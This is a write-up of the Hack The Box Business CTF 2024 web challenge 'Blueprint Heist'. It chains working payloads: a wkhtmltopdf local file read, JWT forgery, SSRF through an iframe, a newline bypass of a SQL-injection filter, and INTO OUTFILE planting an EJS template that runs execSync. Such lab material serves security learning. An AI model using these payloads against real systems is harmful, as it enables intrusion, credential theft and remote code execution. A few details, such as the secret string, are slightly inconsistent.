HTB Business CTF 2024 - Blueprint Heist
Hack the Box's Business CTF 2024 came to a close this week and had its share of fun flags to capture. This writeup will be focussing on 'Blueprint Heist' - a web challenge which required the chaining of multiple exploits.
The Challenge
Name: Blueprint Heist
Category: Web
Points: 350
Requirements: Node.js, Burp Suite
Setup
This challenge included a website that could be could spun up, as well as a .zip
file containing the application code allowing us to perform white box testing. After spawning the Docker container, the home page could be visited - a simple website which allows users to view construction reports:
Since we were given the application code, I skipped the usual enumeration steps and jumped straight into analysing and taking notes of the application’s functionality.
After unzipping the file, there was a standard web application directory setup:
Opening Dockerfile
, there was nothing out of the ordinary. We can see that a binary called /readflag
is copied and built inside the server’s root directory which’ll enable us to read the flag at the end of the challenge (likely via an RCE exploit):
1
2
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
There’s also various mentions of node
, so we can guess we’re dealing with a Node.js server. build-docker.sh
also let us know that the application is running on port 1337
:
1
docker run -p 1337:1337 -it --rm --name=blueprint-heist blueprint-heist
Nothing of interest was found in the other files/folders apart from /app
- the directory containing the web application itself.
Code Analysis
There’s a fair amount to digest here, but it’s also where the fun starts. Firstly, let’s look at app/.env
to see what configuration variables and secrets are being set:
1
2
3
4
5
6
DB_HOST=127.0.0.1
DB_USER=root
DB_PASSWORD=D4T4b4s3Secr3tP4ssw0rd1ss0L0ngOmG!
DB_NAME=construction
DB_PORT=3306
secret=IM_Sup3r_K3y_pl3ase_b3_c4r3ful?
We’ve got various variables for MySQL, which tells us there’s a database running on the server, as well as a dummy generic secret. It’s worth noting that these are not the actual secret values - they are different on the live website.
Next, let’s check out what routes there are in app/routes
. We’ve got two files - public.ejs
and internal.ejs
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require("express");
const router = express.Router();
const { authMiddleware, generateGuestToken } = require("../controllers/authController")
const { convertPdf } = require("../controllers/downloadController")
router.get("/", (req, res) => {
res.render("index");
})
router.get("/report/progress", (req, res) => {
res.render("reports/progress-report")
})
router.get("/report/enviromental-impact", (req, res) => {
res.render("reports/enviromental-report")
})
router.get("/getToken", (req, res, next) => {
generateGuestToken(req, res, next)
});
router.post("/download", authMiddleware("guest"), (req, res, next) => {
convertPdf(req, res, next)
})
module.exports = router;
Starting with public.ejs
, we can see the /
route we visited earlier, as well as the two report pages. We’ve also got an endpoint at /getToken
we can request to call generateGuestToken()
and an authenticated /download
endpoint which guest users can request to call convertPdf()
. We’ll investigate these later.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const express = require("express");
const router = express.Router();
const { authMiddleware } = require("../controllers/authController")
const schema = require("../schemas/schema");
const pool = require("../utils/database")
const { createHandler } = require("graphql-http/lib/use/express");
router.get("/admin", authMiddleware("admin"), (req, res) => {
res.render("admin")
})
router.all("/graphql", authMiddleware("admin"), (req, res, next) => {
createHandler({ schema, context: { pool } })(req, res, next);
});
module.exports = router;
private.ejs
reveals two more authenticated endpoints, this time for admin users only. The corresponding view for /admin
in app/views/admin.ejs
didn’t contain much, however app/schemas/schema.js
used by /graphql
has some interesting functionality.
If you’re unfamiliar with GraphQL, the TL;DR is that it’s just another way to query and build APIs - functionally similar to REST.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
...
getDataByName: {
type: new GraphQLList(UserType),
args: {
name: { type: GraphQLString }
},
resolve: async(parent, args, { pool }) => {
let data;
const connection = await pool.getConnection();
console.log(args.name)
if (detectSqli(args.name)) {
return generateError(400, "Username must only contain letters, numbers, and spaces.")
}
try {
data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`).then(rows => rows[0]);
} catch (error) {
return generateError(500, error)
} finally {
connection.release()
}
return data;
}
}
...
There were two different types of queries supported by this schema, both which used SQL queries to fetch data. getDataByName
was the most interesting of the two as it used a pattern which is commonly associated with SQL injection: string substitution.
1
`SELECT * FROM users WHERE name like '%${args.name}%'`
Given the user controls {args.name}
when querying the endpoint, there’s potential to leak additional information from the database if the correct payload is crafted. We’ll shelve this idea for now as we don’t have access to the endpoint, but we’ll investigate further when we’re authenticated as an admin.
Guest Authentication
Stepping back, it’s time we look at getting authenticated as a guest so we can use the /download
endpoint which’ll allow us to abuse use the convertPdf()
function we saw earlier. Let’s check out app/controllers/authController.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const secret = process.env.secret
const authMiddleware = (requiredRole) => {
return (req, res, next) => {
const token = req.query.token;
...
const role = verifyToken(token);
...
}
function generateGuestToken(req, res, next) {
const payload = {
role: 'user'
};
jwt.sign(payload, secret, (err, token) => {
if (err) {
next(generateError(500, "Failed to generate token."));;
} else {
res.send(token);
}
});
}
...
There’s a couple of functions within this file. Focussing on generateGuestToken()
first, we can see it generates and signs a JWT using the secret from the app/.env
file. Let’s test this functionality by curl
‘ing /getToken
:
Success! We’ve now got a JWT we can use to authenticate ourselves as a guest. We can see in authController.js
that this token should be added as a query parameter to any authenticated request we want to make.
It’s worth noting this token only has role: 'user'
assigned, so we won’t be able to request any routes defined in app/routes/internal.ejs
just yet.
Local File Inclusion (LFI)
It’s time to do some testing on the authenticated /download
endpoint from earlier. Let’s look at what the convertPdf()
function does in /app/controllers/downloadController.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const wkhtmltopdf = require('wkhtmltopdf');
async function convertPdf(req, res, next) {
try {
const { url } = req.body;
if (!isUrl(url)) {
return next(generateError(400, "Invalid URL"));
}
const pdfPath = await generatePdf(url);
res.sendFile(pdfPath, {root: "."});
} catch (error) {
return next(generateError(500, error.message));
}
}
...
The above tells us that /download
requires a url
parameter as part of the body before calling generatePdf()
which converts the supplied URL’s HTML to PDF using wkhtmltopdf
.
Using Burp Suite, we’ll intercept a request to /download
, right click > Send to repeater
, switch the request to POST, attatch the token as a query parameter, add Content-Type: application/json
as a header and include a url
parameter in the body.
Authenticated guest request to /download
Sure enough, after hitting send and viewing the response in our browser we’ve got a PDF of http://google.com
:
Converted http://google.com to PDF
Next, let’s see what we can do to exploit it. We know that wkhtmltopdf
is being used to convert HTML to PDF, so after some research I came across the following exploit.
It looks like LFI might be possible here if we’re able to construct the correct payload. Looking again at app/controllers/downloadController.js
for hints, we can see there’s validation on the URL we supply via isUrl()
:
1
2
3
4
5
6
const { isUrl } = require("../utils/security")
...
if (!isUrl(url)) {
return next(generateError(400, "Invalid URL"));
}
...
Looking at /app/utils/security.js
, we can see the function doesn’t really do much apart from validate that the URL is standard format:
1
2
3
4
5
6
7
8
9
...
function isUrl(url) {
try {
new URL(url);
return true;
} catch (err) {
return false;
}
};
After some testing, we were able to render anything we wanted through supplying localhost:1337/<HTML>
as url
:
localhost
is the server’s loopback address and1337
is the port we saw the app running on inbuild-docker.sh
.
User supplied HTML being converted to PDF
It’s worth noting that 0.0.0.0:1337
and 127.0.0.1:1337
were also tested, but returned Invalid URL
errors.
Now that we’re able to render any HTML we supply, let’s try dump the contents of /app/.env
which contains the secret we need to create an admin JWT. We’ll use <script>
tags to create an XMLHttpRequest
object that requests the contents of file:///app.env
from the server.
1
2
3
{
"url" :"localhost:1337/<script>x=new XMLHttpRequest;x.onload=function()document.write(this.responseText)};x.open('GET','file:///app.env');x.send();</script>"
}
That worked! We’ve now got the secret that’s used to sign JWTs:
1
Str0ng_K3y_N0_L3ak_pl3ase
Supplying file:///root/flag.txt
was also attempted, however the node
user executing these commands on the server did not have appropriate permissions and resulted in ContentNotFound
errors.
JWT Forgery
Now that we’ve leaked the secret used to sign JWTs, we should be able to create one with the payload of role: 'admin'
instead of role: 'user'
to access the internal /graphql
endpoint. Let’s create a script to do just that:
1
2
3
4
5
6
7
8
9
10
11
12
const jwt = require('jsonwebtoken');
const currentTime = Math.floor(Date.now() / 1000);
const secret = 'Str0ng_K3y_N0_l3ak_pl3ase?';
const payload = {
role: 'admin',
iat: currentTime
};
const token = jwt.sign(payload, secret, { algorithm: 'HS256' });
console.log(token);
Admin token in hand, we should now be able to authenticate to the routes in app/routes/internal.ejs
.
Server-Side Request Forgery (SSRF)
Remember the getDataByName
query accessible via /graphql
from earlier? We should now be able to access it. Let’s see if we can query it via the browser with our new admin JWT as the token
query parameter:
Internal users only error on /graphql endpoint
Looks like only internal users are able to access the endpoint…even with an admin token 🤔 Let’s look at the code of app/controllers/authController.js
again to see how it checks for this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const { checkInternal } = require("../utils/security")
...
const authMiddleware = (requiredRole) => {
return (req, res, next) => {
const token = req.query.token;
if (!token) {
return next(generateError(401, "Access denied. Token is required."));
}
const role = verifyToken(token);
if (!role) {
return next(generateError(401, "Invalid or expired token."));
}
if (requiredRole === "admin" && role !== "admin") {
return next(generateError(401, "Unauthorized."));
} else if (requiredRole === "admin" && role === "admin") {
if (!checkInternal(req)) {
return next(generateError(403, "Only available for internal users!"));
}
}
next();
};
};
...
checkInternal()
looks like the culprit in app/utils/security.js
:
1
2
3
4
function checkInternal(req) {
const address = req.socket.remoteAddress.replace(/^.*:/, '')
return address === "127.0.0.1"
}
We now know that the request must come from 127.0.0.1
to be authorised for /graphql
. Luckily, that’s exactly what our previous LFI exploit was doing. Let’s create a new payload to request getDataByName
from /graphql
from the /download
endpoint.
Firstly, we need to format our GraphQL query as per the schema in app/schemas/schema.js
. If you recall from earlier, we can supply name
as an argument to be passed into the SQL query.
GraphQL queries are formatted differently to regular REST API queries. Learn more.
1
2
3
4
5
6
query={
getDataByName(name: "john") {
id
name
}
}
id
is a value that is part of the User
model under app/models/users.js
. We include this in the GraphQL query so that any user LIKE
the name john
has their id
(and name
) returned.
1
2
3
4
5
6
7
8
9
10
11
...
const UserType = new GraphQLObjectType({
name: 'User',
fields: () => ({
id: { type: GraphQLID },
name: { type: GraphQLString },
department: { type: GraphQLString },
isPresent: { type: GraphQLBoolean }
})
});
...
We’ll also URL encode our GraphQL query so it can be passed in via the query
parameter in the URL:
1
query=%7B%0A%20%20getDataByName(name%3A%20%22john%22)%20%7B%0A%20%20%20%20id%0A%20%20%20%20name%0A%20%20%7D%0A%7D
I ended up having to change the payload here to use an
<iframe>
, rather than aXMLHttpRequest
object, as requests to/graphql
weren’t displaying properly.
This makes our final query look like:
1
2
3
{
"url" :"localhost:1337/<iframe src='http://localhost:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYxOTM0ODZ9.CwFQM5tcCFDeRt45Sa7ExJkndNfSp_kF9QhvyXu151Y&query=%7B%0A%20%20getDataByName(name%3A%20%22john%22)%20%7B%0A%20%20%20%20id%0A%20%20%20%20name%0A%20%20%7D%0A%7D' height='1000' width='1000'></iframe>"
}
Success! We’re now able to query /graphql
as an internal user from 127.0.0.1
using our admin JWT.
SQL Injection
Since name
is being passed into the GraphQL schema before being insecurely substituted into the SQL query, we can likely perform SQL injection on the database. Let’s have another look at the query in app/schemas/schema.js
:
1
2
3
4
5
6
7
8
9
...
const { detectSqli } = require("../utils/security")
...
if (detectSqli(args.name)) {
return generateError(400, "Username must only contain letters, numbers, and spaces.")
}
try {
data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`).then(rows => rows[0]);
...
We can see that there’s been attempt to stop SQL injection via detectSqli()
. Let’s check the function out in app/utils/security.js
:
1
2
3
4
function detectSqli (query) {
const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/
return pattern.test(query)
}
We’ve got a RegEx check which tests for symbols such as '
and "
- both of which are extremely useful when it comes to performing SQL injection. Let’s look for a bypass.
After a bit of research, I came across the following ReGex cheat sheet. It mentions that a RegEx check can be potentially bypassed with a newline character (\n
) if the dot symbol is used in the pattern.
In case modifier /m is not (globally) specified, regexp should avoid using dot . symbol, which means every symbol except newline (\n). It is possible to bypass regex using newline injection.
Perfect.
It took a couple of attempts to craft the correct payload, but eventually we were able to do the following through escaping \n
:
'OR 1=1--
is a classic test for SQL injection - it’s a query that always returns true. If successful it’ll dump all rows from the queried table.
1
2
3
4
5
6
query={
getDataByName(name: "john\\n' OR 1=1-- ") {
id
name
}
}
1
2
3
4
{
"url" :"localhost:1337/<iframe src='http://localhost:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYxOTM0ODZ9.CwFQM5tcCFDeRt45Sa7ExJkndNfSp_kF9QhvyXu151Y&query=%7B%0A%20%20getDataByName(name%3A%20%22john\\n%27%20OR%201=1--%20%22)%20%7B%0A%20%20%20%20id%0A%20%20%20%20name%0A%20%20%7D%0A%7D' height='1000' width='1000'></iframe>"
}
Success! Since we’re now able to perform SQL injection to dump all rows in the table, we can also dump all table names in the database using a UNION SELECT
statement after correctly guessing the amount of rows in the current table:
1
2
3
4
5
6
{
getDataByName(name:"john\\n'UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables;-- ") {
id
name
}
}
1
2
3
4
{
"url" :"localhost:1337/<iframe src='http://localhost:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYyMTE4NDd9.Pk8ZBsRnCz82MIJhLuAfWJ6H0k4x2DaVlvY18dkCxYc&query=%7B%0A%20%20getDataByName(name%3A%22john\\n%27UNION%20SELECT%20table_name%2CNULL%2CNULL%2CNULL%20FROM%20information_schema.tables%3B--%20%22)%20%7B%0A%20%20%20%20id%0A%20%20%20%20name%0A%20%20%7D%0A%7D' height='2000' width='1000'></iframe>"
}
There was nothing immediately useful here, so I shifted my efforts toward gaining RCE on the server to call /readflag
and finish the challenge.
Server-Side Template Injection (SSTI) & Remote Code Execution (RCE)
Final stretch - finding a way to get RCE on the server, presumebly via SQL injection. After doing some research, I came across SSTI in EJS - the templating engine used by the web application.
It looks like if we can write a file to the server, we could call /readflag
using the following:
1
<%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>
but how? We need to solve two problems:
1) Writing files to the server 2) Triggering the rendering of our EJS payload
Writing files via SQL injection
After researching and experimenting with payloads, I came across the following MariaDB expression: INTO OUTFILE. This allows a query to write its result to a file:
1
2
3
4
5
6
query={
getDataByName(name:"john\\n'UNION SELECT 1,1,1, '<%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>' INTO OUTFILE '/app/views/test.ejs'-- ") {
id
name
}
}
1
2
3
{
"url" :"localhost:1337/<iframe src='http://localhost:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYyMTE4NDd9.Pk8ZBsRnCz82MIJhLuAfWJ6H0k4x2DaVlvY18dkCxYc&query=%7B%0A%20%20getDataByName(name%3A%22john%5C%5Cn%27UNION%20SELECT%201%2C1%2C1%2C%20%27%3C%25%3D%20global.process.mainModule.require(%60child_process%60).execSync(%60%2Freadflag%60).toString()%20%25%3E%27%20INTO%20OUTFILE%20%27%2Fapp%2Fviews%2Ftest.ejs%27--%20%22)%20%7B%0A%20%20%20%20id%0A%20%20%20%20name%0A%20%20%7D%0A%7D' height='2000' width='1000'></iframe>"
}
It didn’t immediately look good, but after verifying the file was uploaded to app/views/test.ejs
using our old payload to view file:///app/views/test.ejs
we can see it worked!
Now we face the problem of actually getting the payload to execute and render in the context of EJS.
Rendering payload with error EJS template
Finding a directory where our EJS payload could be served up and rendered wasn’t too difficult. A simple grep -r find "render"
shows all calls to res.render()
:
grep -r find “render” . results
One file from the above we haven’t looked at yet is app/controllers/errorController.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
const renderError = (err, req, res) => {
res.status(err.status);
const templateDir = __dirname + '/../views/errors';
const errorTemplate = (err.status >= 400 && err.status < 600) ? err.status : "error"
let templatePath = path.join(templateDir, `${errorTemplate}.ejs`);
if (!fs.existsSync(templatePath)) {
templatePath = path.join(templateDir, `error.ejs`);
}
console.log(templatePath)
res.render(templatePath, { error: err.message }, (renderErr, html) => {
res.send(html);
});
};
This looks promising. The function is dynamically fetching error templates that match the raised status code, e.g. if a 400
error occurs, app/views/errors/400.ejs
will be rendered in the browser via res.render()
.
Looking at the existing error message templates shows the following:
There are templates for 400.ejs
, 401.ejs
and 500.ejs
- but no 404.ejs
(404 Not Found) template. 404 errors are easy enough to trigger in browser, so let’s attempt to write a file again using our SQL injection payload - this time to app/views/errors/404.ejs
.
1
2
3
{
"url" :"localhost:1337/<iframe src='http://localhost:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYyMTE4NDd9.Pk8ZBsRnCz82MIJhLuAfWJ6H0k4x2DaVlvY18dkCxYc&query=%7B%0A%20%20getDataByName(name%3A%22john%5C%5Cn%27UNION%20SELECT%201%2C1%2C1%2C%20%27%3C%25%3D%20global.process.mainModule.require(%60child_process%60).execSync(%60%2Freadflag%60).toString()%20%25%3E%27%20INTO%20OUTFILE%20%27%2Fapp%2Fviews%2Ferrors%2F404.ejs%27--%20%22)%20%7B%0A%20%20%20%20id%0A%20%20%20%20name%0A%20%20%7D%0A%7D' height='2000' width='1000'></iframe>"
}
Next, we visit a non-existant route (e.g. /blah
) to trigger a 404 error:
/readflag executed and flag rendered
Flag retrieved! and challenge completed…many chained exploits later.
1
HTB{ch41ning_m4st3rs_b4y0nd_1m4g1nary_ccea0026c9303ec1278b9c8288778c6d}
What did I learn?
1) Exploit chaining is fun, and enabled by multiple minor security misconfigurations.
2) Frankenstein URL encoded exploits are a pain to look at.